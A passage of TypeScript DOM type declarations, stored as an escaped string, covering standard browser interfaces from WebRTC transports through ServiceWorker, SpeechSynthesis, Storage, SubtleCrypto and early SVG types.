RTCDtlsTransportEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var RTCDtlsTransport: {\\n    prototype: RTCDtlsTransport;\\n    new(transport: RTCIceTransport): RTCDtlsTransport;\\n};\\n\\ninterface RTCDtlsTransportStateChangedEvent extends Event {\\n    readonly state: RTCDtlsTransportState;\\n}\\n\\ndeclare var RTCDtlsTransportStateChangedEvent: {\\n    prototype: RTCDtlsTransportStateChangedEvent;\\n    new(): RTCDtlsTransportStateChangedEvent;\\n};\\n\\ninterface RTCDtmfSenderEventMap {\\n    \"tonechange\": RTCDTMFToneChangeEvent;\\n}\\n\\ninterface RTCDtmfSender extends EventTarget {\\n    readonly canInsertDTMF: boolean;\\n    readonly duration: number;\\n    readonly interToneGap: number;\\n    ontonechange: (this: RTCDtmfSender, ev: RTCDTMFToneChangeEvent) => any;\\n    readonly sender: RTCRtpSender;\\n    readonly toneBuffer: string;\\n    insertDTMF(tones: string, duration?: number, interToneGap?: number): void;\\n    addEventListener<K extends keyof RTCDtmfSenderEventMap>(type: K, listener: (this: RTCDtmfSender, ev: RTCDtmfSenderEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var RTCDtmfSender: {\\n    prototype: RTCDtmfSender;\\n    new(sender: RTCRtpSender): RTCDtmfSender;\\n};\\n\\ninterface RTCDTMFToneChangeEvent extends Event {\\n    readonly tone: string;\\n}\\n\\ndeclare var RTCDTMFToneChangeEvent: {\\n    prototype: RTCDTMFToneChangeEvent;\\n    new(typeArg: string, eventInitDict: RTCDTMFToneChangeEventInit): RTCDTMFToneChangeEvent;\\n};\\n\\ninterface RTCIceCandidate {\\n    candidate: string | null;\\n    sdpMid: string | null;\\n    sdpMLineIndex: number | null;\\n    toJSON(): any;\\n}\\n\\ndeclare var RTCIceCandidate: {\\n    prototype: RTCIceCandidate;\\n    new(candidateInitDict?: RTCIceCandidateInit): RTCIceCandidate;\\n};\\n\\ninterface RTCIceCandidatePairChangedEvent extends Event {\\n    readonly pair: RTCIceCandidatePair;\\n}\\n\\ndeclare var RTCIceCandidatePairChangedEvent: {\\n    prototype: RTCIceCandidatePairChangedEvent;\\n    new(): RTCIceCandidatePairChangedEvent;\\n};\\n\\ninterface RTCIceGathererEventMap {\\n    \"error\": Event;\\n    \"localcandidate\": RTCIceGathererEvent;\\n}\\n\\ninterface RTCIceGatherer extends RTCStatsProvider {\\n    readonly component: RTCIceComponent;\\n    onerror: ((this: RTCIceGatherer, ev: Event) => any) | null;\\n    onlocalcandidate: ((this: RTCIceGatherer, ev: RTCIceGathererEvent) => any) | null;\\n    createAssociatedGatherer(): RTCIceGatherer;\\n    getLocalCandidates(): RTCIceCandidateDictionary[];\\n    getLocalParameters(): RTCIceParameters;\\n    addEventListener<K extends keyof RTCIceGathererEventMap>(type: K, listener: (this: RTCIceGatherer, ev: RTCIceGathererEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var RTCIceGatherer: {\\n    prototype: RTCIceGatherer;\\n    new(options: RTCIceGatherOptions): RTCIceGatherer;\\n};\\n\\ninterface RTCIceGathererEvent extends Event {\\n    readonly candidate: RTCIceCandidateDictionary | RTCIceCandidateComplete;\\n}\\n\\ndeclare var RTCIceGathererEvent: {\\n    prototype: RTCIceGathererEvent;\\n    new(): RTCIceGathererEvent;\\n};\\n\\ninterface RTCIceTransportEventMap {\\n    \"candidatepairchange\": RTCIceCandidatePairChangedEvent;\\n    \"icestatechange\": RTCIceTransportStateChangedEvent;\\n}\\n\\ninterface RTCIceTransport extends RTCStatsProvider {\\n    readonly component: RTCIceComponent;\\n    readonly iceGatherer: RTCIceGatherer | null;\\n    oncandidatepairchange: ((this: RTCIceTransport, ev: RTCIceCandidatePairChangedEvent) => any) | null;\\n    onicestatechange: ((this: RTCIceTransport, ev: RTCIceTransportStateChangedEvent) => any) | null;\\n    readonly role: RTCIceRole;\\n    readonly state: RTCIceTransportState;\\n    addRemoteCandidate(remoteCandidate: RTCIceCandidateDictionary | RTCIceCandidateComplete): void;\\n    createAssociatedTransport(): RTCIceTransport;\\n    getNominatedCandidatePair(): RTCIceCandidatePair | null;\\n    getRemoteCandidates(): RTCIceCandidateDictionary[];\\n    getRemoteParameters(): RTCIceParameters | null;\\n    setRemoteCandidates(remoteCandidates: RTCIceCandidateDictionary[]): void;\\n    start(gatherer: RTCIceGatherer, remoteParameters: RTCIceParameters, role?: RTCIceRole): void;\\n    stop(): void;\\n    addEventListener<K extends keyof RTCIceTransportEventMap>(type: K, listener: (this: RTCIceTransport, ev: RTCIceTransportEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var RTCIceTransport: {\\n    prototype: RTCIceTransport;\\n    new(): RTCIceTransport;\\n};\\n\\ninterface RTCIceTransportStateChangedEvent extends Event {\\n    readonly state: RTCIceTransportState;\\n}\\n\\ndeclare var RTCIceTransportStateChangedEvent: {\\n    prototype: RTCIceTransportStateChangedEvent;\\n    new(): RTCIceTransportStateChangedEvent;\\n};\\n\\ninterface RTCPeerConnectionEventMap {\\n    \"addstream\": MediaStreamEvent;\\n    \"icecandidate\": RTCPeerConnectionIceEvent;\\n    \"iceconnectionstatechange\": Event;\\n    \"icegatheringstatechange\": Event;\\n    \"negotiationneeded\": Event;\\n    \"removestream\": MediaStreamEvent;\\n    \"signalingstatechange\": Event;\\n}\\n\\ninterface RTCPeerConnection extends EventTarget {\\n    readonly canTrickleIceCandidates: boolean | null;\\n    readonly iceConnectionState: RTCIceConnectionState;\\n    readonly iceGatheringState: RTCIceGatheringState;\\n    readonly localDescription: RTCSessionDescription | null;\\n    onaddstream: (this: RTCPeerConnection, ev: MediaStreamEvent) => any;\\n    onicecandidate: (this: RTCPeerConnection, ev: RTCPeerConnectionIceEvent) => any;\\n    oniceconnectionstatechange: (this: RTCPeerConnection, ev: Event) => any;\\n    onicegatheringstatechange: (this: RTCPeerConnection, ev: Event) => any;\\n    onnegotiationneeded: (this: RTCPeerConnection, ev: Event) => any;\\n    onremovestream: (this: RTCPeerConnection, ev: MediaStreamEvent) => any;\\n    onsignalingstatechange: (this: RTCPeerConnection, ev: Event) => any;\\n    readonly remoteDescription: RTCSessionDescription | null;\\n    readonly signalingState: RTCSignalingState;\\n    addIceCandidate(candidate: RTCIceCandidate, successCallback?: VoidFunction, failureCallback?: RTCPeerConnectionErrorCallback): Promise<void>;\\n    addStream(stream: MediaStream): void;\\n    close(): void;\\n    createAnswer(successCallback?: RTCSessionDescriptionCallback, failureCallback?: RTCPeerConnectionErrorCallback): Promise<RTCSessionDescription>;\\n    createOffer(successCallback?: RTCSessionDescriptionCallback, failureCallback?: RTCPeerConnectionErrorCallback, options?: RTCOfferOptions): Promise<RTCSessionDescription>;\\n    getConfiguration(): RTCConfiguration;\\n    getLocalStreams(): MediaStream[];\\n    getRemoteStreams(): MediaStream[];\\n    getStats(selector: MediaStreamTrack | null, successCallback?: RTCStatsCallback, failureCallback?: RTCPeerConnectionErrorCallback): Promise<RTCStatsReport>;\\n    getStreamById(streamId: string): MediaStream | null;\\n    removeStream(stream: MediaStream): void;\\n    setLocalDescription(description: RTCSessionDescription, successCallback?: VoidFunction, failureCallback?: RTCPeerConnectionErrorCallback): Promise<void>;\\n    setRemoteDescription(description: RTCSessionDescription, successCallback?: VoidFunction, failureCallback?: RTCPeerConnectionErrorCallback): Promise<void>;\\n    addEventListener<K extends keyof RTCPeerConnectionEventMap>(type: K, listener: (this: RTCPeerConnection, ev: RTCPeerConnectionEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var RTCPeerConnection: {\\n    prototype: RTCPeerConnection;\\n    new(configuration: RTCConfiguration): RTCPeerConnection;\\n};\\n\\ninterface RTCPeerConnectionIceEvent extends Event {\\n    readonly candidate: RTCIceCandidate;\\n}\\n\\ndeclare var RTCPeerConnectionIceEvent: {\\n    prototype: RTCPeerConnectionIceEvent;\\n    new(type: string, eventInitDict: RTCPeerConnectionIceEventInit): RTCPeerConnectionIceEvent;\\n};\\n\\ninterface RTCRtpReceiverEventMap {\\n    \"error\": Event;\\n}\\n\\ninterface RTCRtpReceiver extends RTCStatsProvider {\\n    onerror: ((this: RTCRtpReceiver, ev: Event) => any) | null;\\n    readonly rtcpTransport: RTCDtlsTransport;\\n    readonly track: MediaStreamTrack | null;\\n    readonly transport: RTCDtlsTransport | RTCSrtpSdesTransport;\\n    getContributingSources(): RTCRtpContributingSource[];\\n    receive(parameters: RTCRtpParameters): void;\\n    requestSendCSRC(csrc: number): void;\\n    setTransport(transport: RTCDtlsTransport | RTCSrtpSdesTransport, rtcpTransport?: RTCDtlsTransport): void;\\n    stop(): void;\\n    addEventListener<K extends keyof RTCRtpReceiverEventMap>(type: K, listener: (this: RTCRtpReceiver, ev: RTCRtpReceiverEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var RTCRtpReceiver: {\\n    prototype: RTCRtpReceiver;\\n    new(transport: RTCDtlsTransport | RTCSrtpSdesTransport, kind: string, rtcpTransport?: RTCDtlsTransport): RTCRtpReceiver;\\n    getCapabilities(kind?: string): RTCRtpCapabilities;\\n};\\n\\ninterface RTCRtpSenderEventMap {\\n    \"error\": Event;\\n    \"ssrcconflict\": RTCSsrcConflictEvent;\\n}\\n\\ninterface RTCRtpSender extends RTCStatsProvider {\\n    onerror: ((this: RTCRtpSender, ev: Event) => any) | null;\\n    onssrcconflict: ((this: RTCRtpSender, ev: RTCSsrcConflictEvent) => any) | null;\\n    readonly rtcpTransport: RTCDtlsTransport;\\n    readonly track: MediaStreamTrack;\\n    readonly transport: RTCDtlsTransport | RTCSrtpSdesTransport;\\n    send(parameters: RTCRtpParameters): void;\\n    setTrack(track: MediaStreamTrack): void;\\n    setTransport(transport: RTCDtlsTransport | RTCSrtpSdesTransport, rtcpTransport?: RTCDtlsTransport): void;\\n    stop(): void;\\n    addEventListener<K extends keyof RTCRtpSenderEventMap>(type: K, listener: (this: RTCRtpSender, ev: RTCRtpSenderEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var RTCRtpSender: {\\n    prototype: RTCRtpSender;\\n    new(track: MediaStreamTrack, transport: RTCDtlsTransport | RTCSrtpSdesTransport, rtcpTransport?: RTCDtlsTransport): RTCRtpSender;\\n    getCapabilities(kind?: string): RTCRtpCapabilities;\\n};\\n\\ninterface RTCSessionDescription {\\n    sdp: string | null;\\n    type: RTCSdpType | null;\\n    toJSON(): any;\\n}\\n\\ndeclare var RTCSessionDescription: {\\n    prototype: RTCSessionDescription;\\n    new(descriptionInitDict?: RTCSessionDescriptionInit): RTCSessionDescription;\\n};\\n\\ninterface RTCSrtpSdesTransportEventMap {\\n    \"error\": Event;\\n}\\n\\ninterface RTCSrtpSdesTransport extends EventTarget {\\n    onerror: ((this: RTCSrtpSdesTransport, ev: Event) => any) | null;\\n    readonly transport: RTCIceTransport;\\n    addEventListener<K extends keyof RTCSrtpSdesTransportEventMap>(type: K, listener: (this: RTCSrtpSdesTransport, ev: RTCSrtpSdesTransportEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var RTCSrtpSdesTransport: {\\n    prototype: RTCSrtpSdesTransport;\\n    new(transport: RTCIceTransport, encryptParameters: RTCSrtpSdesParameters, decryptParameters: RTCSrtpSdesParameters): RTCSrtpSdesTransport;\\n    getLocalParameters(): RTCSrtpSdesParameters[];\\n};\\n\\ninterface RTCSsrcConflictEvent extends Event {\\n    readonly ssrc: number;\\n}\\n\\ndeclare var RTCSsrcConflictEvent: {\\n    prototype: RTCSsrcConflictEvent;\\n    new(): RTCSsrcConflictEvent;\\n};\\n\\ninterface RTCStatsProvider extends EventTarget {\\n    getStats(): Promise<RTCStatsReport>;\\n    msGetStats(): Promise<RTCStatsReport>;\\n}\\n\\ndeclare var RTCStatsProvider: {\\n    prototype: RTCStatsProvider;\\n    new(): RTCStatsProvider;\\n};\\n\\ninterface ScopedCredential {\\n    readonly id: ArrayBuffer;\\n    readonly type: ScopedCredentialType;\\n}\\n\\ndeclare var ScopedCredential: {\\n    prototype: ScopedCredential;\\n    new(): ScopedCredential;\\n};\\n\\ninterface ScopedCredentialInfo {\\n    readonly credential: ScopedCredential;\\n    readonly publicKey: CryptoKey;\\n}\\n\\ndeclare var ScopedCredentialInfo: {\\n    prototype: ScopedCredentialInfo;\\n    new(): ScopedCredentialInfo;\\n};\\n\\ninterface ScreenEventMap {\\n    \"MSOrientationChange\": Event;\\n}\\n\\ninterface Screen extends EventTarget {\\n    readonly availHeight: number;\\n    readonly availWidth: number;\\n    bufferDepth: number;\\n    readonly colorDepth: number;\\n    readonly deviceXDPI: number;\\n    readonly deviceYDPI: number;\\n    readonly fontSmoothingEnabled: boolean;\\n    readonly height: number;\\n    readonly logicalXDPI: number;\\n    readonly logicalYDPI: number;\\n    readonly msOrientation: string;\\n    onmsorientationchange: (this: Screen, ev: Event) => any;\\n    readonly pixelDepth: number;\\n    readonly systemXDPI: number;\\n    readonly systemYDPI: number;\\n    readonly width: number;\\n    msLockOrientation(orientations: string | string[]): boolean;\\n    msUnlockOrientation(): void;\\n    addEventListener<K extends keyof ScreenEventMap>(type: K, listener: (this: Screen, ev: ScreenEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var Screen: {\\n    prototype: Screen;\\n    new(): Screen;\\n};\\n\\ninterface ScriptNotifyEvent extends Event {\\n    readonly callingUri: string;\\n    readonly value: string;\\n}\\n\\ndeclare var ScriptNotifyEvent: {\\n    prototype: ScriptNotifyEvent;\\n    new(): ScriptNotifyEvent;\\n};\\n\\ninterface ScriptProcessorNodeEventMap {\\n    \"audioprocess\": AudioProcessingEvent;\\n}\\n\\ninterface ScriptProcessorNode extends AudioNode {\\n    readonly bufferSize: number;\\n    onaudioprocess: (this: ScriptProcessorNode, ev: AudioProcessingEvent) => any;\\n    addEventListener<K extends keyof ScriptProcessorNodeEventMap>(type: K, listener: (this: ScriptProcessorNode, ev: ScriptProcessorNodeEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var ScriptProcessorNode: {\\n    prototype: ScriptProcessorNode;\\n    new(): ScriptProcessorNode;\\n};\\n\\ninterface Selection {\\n    readonly anchorNode: Node;\\n    readonly anchorOffset: number;\\n    readonly baseNode: Node;\\n    readonly baseOffset: number;\\n    readonly extentNode: Node;\\n    readonly extentOffset: number;\\n    readonly focusNode: Node;\\n    readonly focusOffset: number;\\n    readonly isCollapsed: boolean;\\n    readonly rangeCount: number;\\n    readonly type: string;\\n    addRange(range: Range): void;\\n    collapse(parentNode: Node, offset: number): void;\\n    collapseToEnd(): void;\\n    collapseToStart(): void;\\n    containsNode(node: Node, partlyContained: boolean): boolean;\\n    deleteFromDocument(): void;\\n    empty(): void;\\n    extend(newNode: Node, offset: number): void;\\n    getRangeAt(index: number): Range;\\n    removeAllRanges(): void;\\n    removeRange(range: Range): void;\\n    selectAllChildren(parentNode: Node): void;\\n    setBaseAndExtent(baseNode: Node, baseOffset: number, extentNode: Node, extentOffset: number): void;\\n    setPosition(parentNode: Node, offset: number): void;\\n    toString(): string;\\n}\\n\\ndeclare var Selection: {\\n    prototype: Selection;\\n    new(): Selection;\\n};\\n\\ninterface ServiceWorkerEventMap extends AbstractWorkerEventMap {\\n    \"statechange\": Event;\\n}\\n\\ninterface ServiceWorker extends EventTarget, AbstractWorker {\\n    onstatechange: (this: ServiceWorker, ev: Event) => any;\\n    readonly scriptURL: USVString;\\n    readonly state: ServiceWorkerState;\\n    postMessage(message: any, transfer?: any[]): void;\\n    addEventListener<K extends keyof ServiceWorkerEventMap>(type: K, listener: (this: ServiceWorker, ev: ServiceWorkerEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var ServiceWorker: {\\n    prototype: ServiceWorker;\\n    new(): ServiceWorker;\\n};\\n\\ninterface ServiceWorkerContainerEventMap {\\n    \"controllerchange\": Event;\\n    \"message\": ServiceWorkerMessageEvent;\\n}\\n\\ninterface ServiceWorkerContainer extends EventTarget {\\n    readonly controller: ServiceWorker | null;\\n    oncontrollerchange: (this: ServiceWorkerContainer, ev: Event) => any;\\n    onmessage: (this: ServiceWorkerContainer, ev: ServiceWorkerMessageEvent) => any;\\n    readonly ready: Promise<ServiceWorkerRegistration>;\\n    getRegistration(clientURL?: USVString): Promise<any>;\\n    getRegistrations(): any;\\n    register(scriptURL: USVString, options?: RegistrationOptions): Promise<ServiceWorkerRegistration>;\\n    addEventListener<K extends keyof ServiceWorkerContainerEventMap>(type: K, listener: (this: ServiceWorkerContainer, ev: ServiceWorkerContainerEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var ServiceWorkerContainer: {\\n    prototype: ServiceWorkerContainer;\\n    new(): ServiceWorkerContainer;\\n};\\n\\ninterface ServiceWorkerMessageEvent extends Event {\\n    readonly data: any;\\n    readonly lastEventId: string;\\n    readonly origin: string;\\n    readonly ports: MessagePort[] | null;\\n    readonly source: ServiceWorker | MessagePort | null;\\n}\\n\\ndeclare var ServiceWorkerMessageEvent: {\\n    prototype: ServiceWorkerMessageEvent;\\n    new(type: string, eventInitDict?: ServiceWorkerMessageEventInit): ServiceWorkerMessageEvent;\\n};\\n\\ninterface ServiceWorkerRegistrationEventMap {\\n    \"updatefound\": Event;\\n}\\n\\ninterface ServiceWorkerRegistration extends EventTarget {\\n    readonly active: ServiceWorker | null;\\n    readonly installing: ServiceWorker | null;\\n    onupdatefound: (this: ServiceWorkerRegistration, ev: Event) => any;\\n    readonly pushManager: PushManager;\\n    readonly scope: USVString;\\n    readonly sync: SyncManager;\\n    readonly waiting: ServiceWorker | null;\\n    getNotifications(filter?: GetNotificationOptions): any;\\n    showNotification(title: string, options?: NotificationOptions): Promise<void>;\\n    unregister(): Promise<boolean>;\\n    update(): Promise<void>;\\n    addEventListener<K extends keyof ServiceWorkerRegistrationEventMap>(type: K, listener: (this: ServiceWorkerRegistration, ev: ServiceWorkerRegistrationEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var ServiceWorkerRegistration: {\\n    prototype: ServiceWorkerRegistration;\\n    new(): ServiceWorkerRegistration;\\n};\\n\\ninterface SourceBuffer extends EventTarget {\\n    appendWindowEnd: number;\\n    appendWindowStart: number;\\n    readonly audioTracks: AudioTrackList;\\n    readonly buffered: TimeRanges;\\n    mode: AppendMode;\\n    timestampOffset: number;\\n    readonly updating: boolean;\\n    readonly videoTracks: VideoTrackList;\\n    abort(): void;\\n    appendBuffer(data: ArrayBuffer | ArrayBufferView): void;\\n    appendStream(stream: MSStream, maxSize?: number): void;\\n    remove(start: number, end: number): void;\\n}\\n\\ndeclare var SourceBuffer: {\\n    prototype: SourceBuffer;\\n    new(): SourceBuffer;\\n};\\n\\ninterface SourceBufferList extends EventTarget {\\n    readonly length: number;\\n    item(index: number): SourceBuffer;\\n    [index: number]: SourceBuffer;\\n}\\n\\ndeclare var SourceBufferList: {\\n    prototype: SourceBufferList;\\n    new(): SourceBufferList;\\n};\\n\\ninterface SpeechSynthesisEventMap {\\n    \"voiceschanged\": Event;\\n}\\n\\ninterface SpeechSynthesis extends EventTarget {\\n    onvoiceschanged: (this: SpeechSynthesis, ev: Event) => any;\\n    readonly paused: boolean;\\n    readonly pending: boolean;\\n    readonly speaking: boolean;\\n    cancel(): void;\\n    getVoices(): SpeechSynthesisVoice[];\\n    pause(): void;\\n    resume(): void;\\n    speak(utterance: SpeechSynthesisUtterance): void;\\n    addEventListener<K extends keyof SpeechSynthesisEventMap>(type: K, listener: (this: SpeechSynthesis, ev: SpeechSynthesisEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SpeechSynthesis: {\\n    prototype: SpeechSynthesis;\\n    new(): SpeechSynthesis;\\n};\\n\\ninterface SpeechSynthesisEvent extends Event {\\n    readonly charIndex: number;\\n    readonly elapsedTime: number;\\n    readonly name: string;\\n    readonly utterance: SpeechSynthesisUtterance | null;\\n}\\n\\ndeclare var SpeechSynthesisEvent: {\\n    prototype: SpeechSynthesisEvent;\\n    new(type: string, eventInitDict?: SpeechSynthesisEventInit): SpeechSynthesisEvent;\\n};\\n\\ninterface SpeechSynthesisUtteranceEventMap {\\n    \"boundary\": Event;\\n    \"end\": Event;\\n    \"error\": Event;\\n    \"mark\": Event;\\n    \"pause\": Event;\\n    \"resume\": Event;\\n    \"start\": Event;\\n}\\n\\ninterface SpeechSynthesisUtterance extends EventTarget {\\n    lang: string;\\n    onboundary: (this: SpeechSynthesisUtterance, ev: Event) => any;\\n    onend: (this: SpeechSynthesisUtterance, ev: Event) => any;\\n    onerror: (this: SpeechSynthesisUtterance, ev: Event) => any;\\n    onmark: (this: SpeechSynthesisUtterance, ev: Event) => any;\\n    onpause: (this: SpeechSynthesisUtterance, ev: Event) => any;\\n    onresume: (this: SpeechSynthesisUtterance, ev: Event) => any;\\n    onstart: (this: SpeechSynthesisUtterance, ev: Event) => any;\\n    pitch: number;\\n    rate: number;\\n    text: string;\\n    voice: SpeechSynthesisVoice;\\n    volume: number;\\n    addEventListener<K extends keyof SpeechSynthesisUtteranceEventMap>(type: K, listener: (this: SpeechSynthesisUtterance, ev: SpeechSynthesisUtteranceEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SpeechSynthesisUtterance: {\\n    prototype: SpeechSynthesisUtterance;\\n    new(text?: string): SpeechSynthesisUtterance;\\n};\\n\\ninterface SpeechSynthesisVoice {\\n    readonly default: boolean;\\n    readonly lang: string;\\n    readonly localService: boolean;\\n    readonly name: string;\\n    readonly voiceURI: string;\\n}\\n\\ndeclare var SpeechSynthesisVoice: {\\n    prototype: SpeechSynthesisVoice;\\n    new(): SpeechSynthesisVoice;\\n};\\n\\ninterface StereoPannerNode extends AudioNode {\\n    readonly pan: AudioParam;\\n}\\n\\ndeclare var StereoPannerNode: {\\n    prototype: StereoPannerNode;\\n    new(): StereoPannerNode;\\n};\\n\\ninterface Storage {\\n    readonly length: number;\\n    clear(): void;\\n    getItem(key: string): string | null;\\n    key(index: number): string | null;\\n    removeItem(key: string): void;\\n    setItem(key: string, data: string): void;\\n    [key: string]: any;\\n    [index: number]: string;\\n}\\n\\ndeclare var Storage: {\\n    prototype: Storage;\\n    new(): Storage;\\n};\\n\\ninterface StorageEvent extends Event {\\n    readonly url: string;\\n    key?: string;\\n    oldValue?: string;\\n    newValue?: string;\\n    storageArea?: Storage;\\n}\\n\\ndeclare var StorageEvent: {\\n    prototype: StorageEvent;\\n    new (type: string, eventInitDict?: StorageEventInit): StorageEvent;\\n};\\n\\ninterface StyleMedia {\\n    readonly type: string;\\n    matchMedium(mediaquery: string): boolean;\\n}\\n\\ndeclare var StyleMedia: {\\n    prototype: StyleMedia;\\n    new(): StyleMedia;\\n};\\n\\ninterface StyleSheet {\\n    disabled: boolean;\\n    readonly href: string;\\n    readonly media: MediaList;\\n    readonly ownerNode: Node;\\n    readonly parentStyleSheet: StyleSheet;\\n    readonly title: string;\\n    readonly type: string;\\n}\\n\\ndeclare var StyleSheet: {\\n    prototype: StyleSheet;\\n    new(): StyleSheet;\\n};\\n\\ninterface StyleSheetList {\\n    readonly length: number;\\n    item(index?: number): StyleSheet;\\n    [index: number]: StyleSheet;\\n}\\n\\ndeclare var StyleSheetList: {\\n    prototype: StyleSheetList;\\n    new(): StyleSheetList;\\n};\\n\\ninterface StyleSheetPageList {\\n    readonly length: number;\\n    item(index: number): CSSPageRule;\\n    [index: number]: CSSPageRule;\\n}\\n\\ndeclare var StyleSheetPageList: {\\n    prototype: StyleSheetPageList;\\n    new(): StyleSheetPageList;\\n};\\n\\ninterface SubtleCrypto {\\n    decrypt(algorithm: string | RsaOaepParams | AesCtrParams | AesCbcParams | AesCmacParams | AesGcmParams | AesCfbParams, key: CryptoKey, data: BufferSource): PromiseLike<ArrayBuffer>;\\n    deriveBits(algorithm: string | EcdhKeyDeriveParams | DhKeyDeriveParams | ConcatParams | HkdfCtrParams | Pbkdf2Params, baseKey: CryptoKey, length: number): PromiseLike<ArrayBuffer>;\\n    deriveKey(algorithm: string | EcdhKeyDeriveParams | DhKeyDeriveParams | ConcatParams | HkdfCtrParams | Pbkdf2Params, baseKey: CryptoKey, derivedKeyType: string | AesDerivedKeyParams | HmacImportParams | ConcatParams | HkdfCtrParams | Pbkdf2Params, extractable: boolean, keyUsages: string[]): PromiseLike<CryptoKey>;\\n    digest(algorithm: AlgorithmIdentifier, data: BufferSource): PromiseLike<ArrayBuffer>;\\n    encrypt(algorithm: string | RsaOaepParams | AesCtrParams | AesCbcParams | AesCmacParams | AesGcmParams | AesCfbParams, key: CryptoKey, data: BufferSource): PromiseLike<ArrayBuffer>;\\n    exportKey(format: \"jwk\", key: CryptoKey): PromiseLike<JsonWebKey>;\\n    exportKey(format: \"raw\" | \"pkcs8\" | \"spki\", key: CryptoKey): PromiseLike<ArrayBuffer>;\\n    exportKey(format: string, key: CryptoKey): PromiseLike<JsonWebKey | ArrayBuffer>;\\n    generateKey(algorithm: string, extractable: boolean, keyUsages: string[]): PromiseLike<CryptoKeyPair | CryptoKey>;\\n    generateKey(algorithm: RsaHashedKeyGenParams | EcKeyGenParams | DhKeyGenParams, extractable: boolean, keyUsages: string[]): PromiseLike<CryptoKeyPair>;\\n    generateKey(algorithm: AesKeyGenParams | HmacKeyGenParams | Pbkdf2Params, extractable: boolean, keyUsages: string[]): PromiseLike<CryptoKey>;\\n    importKey(format: \"jwk\", keyData: JsonWebKey, algorithm: string | RsaHashedImportParams | EcKeyImportParams | HmacImportParams | DhImportKeyParams, extractable: boolean, keyUsages: string[]): PromiseLike<CryptoKey>;\\n    importKey(format: \"raw\" | \"pkcs8\" | \"spki\", keyData: BufferSource, algorithm: string | RsaHashedImportParams | EcKeyImportParams | HmacImportParams | DhImportKeyParams, extractable: boolean, keyUsages: string[]): PromiseLike<CryptoKey>;\\n    importKey(format: string, keyData: JsonWebKey | BufferSource, algorithm: string | RsaHashedImportParams | EcKeyImportParams | HmacImportParams | DhImportKeyParams, extractable: boolean, keyUsages: string[]): PromiseLike<CryptoKey>;\\n    sign(algorithm: string | RsaPssParams | EcdsaParams | AesCmacParams, key: CryptoKey, data: BufferSource): PromiseLike<ArrayBuffer>;\\n    unwrapKey(format: string, wrappedKey: BufferSource, unwrappingKey: CryptoKey, unwrapAlgorithm: AlgorithmIdentifier, unwrappedKeyAlgorithm: AlgorithmIdentifier, extractable: boolean, keyUsages: string[]): PromiseLike<CryptoKey>;\\n    verify(algorithm: string | RsaPssParams | EcdsaParams | AesCmacParams, key: CryptoKey, signature: BufferSource, data: BufferSource): PromiseLike<boolean>;\\n    wrapKey(format: string, key: CryptoKey, wrappingKey: CryptoKey, wrapAlgorithm: AlgorithmIdentifier): PromiseLike<ArrayBuffer>;\\n}\\n\\ndeclare var SubtleCrypto: {\\n    prototype: SubtleCrypto;\\n    new(): SubtleCrypto;\\n};\\n\\ninterface SVGAElement extends SVGGraphicsElement, SVGURIReference {\\n    readonly target: SVGAnimatedString;\\n    addEventListener<K extends keyof SVGElementEventMap>(type: K, listener: (this: SVGAElement, ev: SVGElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var SVGAElement: {\\n    prototype: SVGAElement;\\n    new(): SVGAElement;\\n};\\n\\ninterface SVGAngle {\\n    readonly unitType: number;\\n    value: number;\\n    valueAsString: string;\\n    valueInSpecifiedUnits: number;\\n    convertToSpecifiedUnits(unitType: number): void;\\n    newValueSpecifiedUnits(unitType: number, valueInSpecifiedUnits: number): void;\\n    readonly SVG_ANGLETYPE_DEG: number;\\n    readonly SVG_ANGLETYPE_GRAD: number;\\n    readonly SVG_ANGLETYPE_RAD: number;\\n    readonly SVG_ANGLETYPE_UNKNOWN: number;\\n    readonly SVG_ANGLETYPE_UNSPECIFIED: number;\\n}\\n\\ndeclare var SVGAngle: {\\n    prototype: SVGAngle;\\n    new(): SVGAngle;\\n    readonly SVG_ANGLETYPE_DEG: number;\\n    readonly SVG_ANGLETYPE_GRAD: number;\\n    readonly SVG_ANGLETYPE_RAD: number;\\n    readonly SVG_ANGLETYPE_UNKNOWN: number;\\n    readonly SVG_ANGLETYPE_UNSPECIFIED: number;\\n};\\n\\ninterface SVGAnimatedAngle {\\n    readonly animVal: SVGAngle;\\n    readonly baseVal: 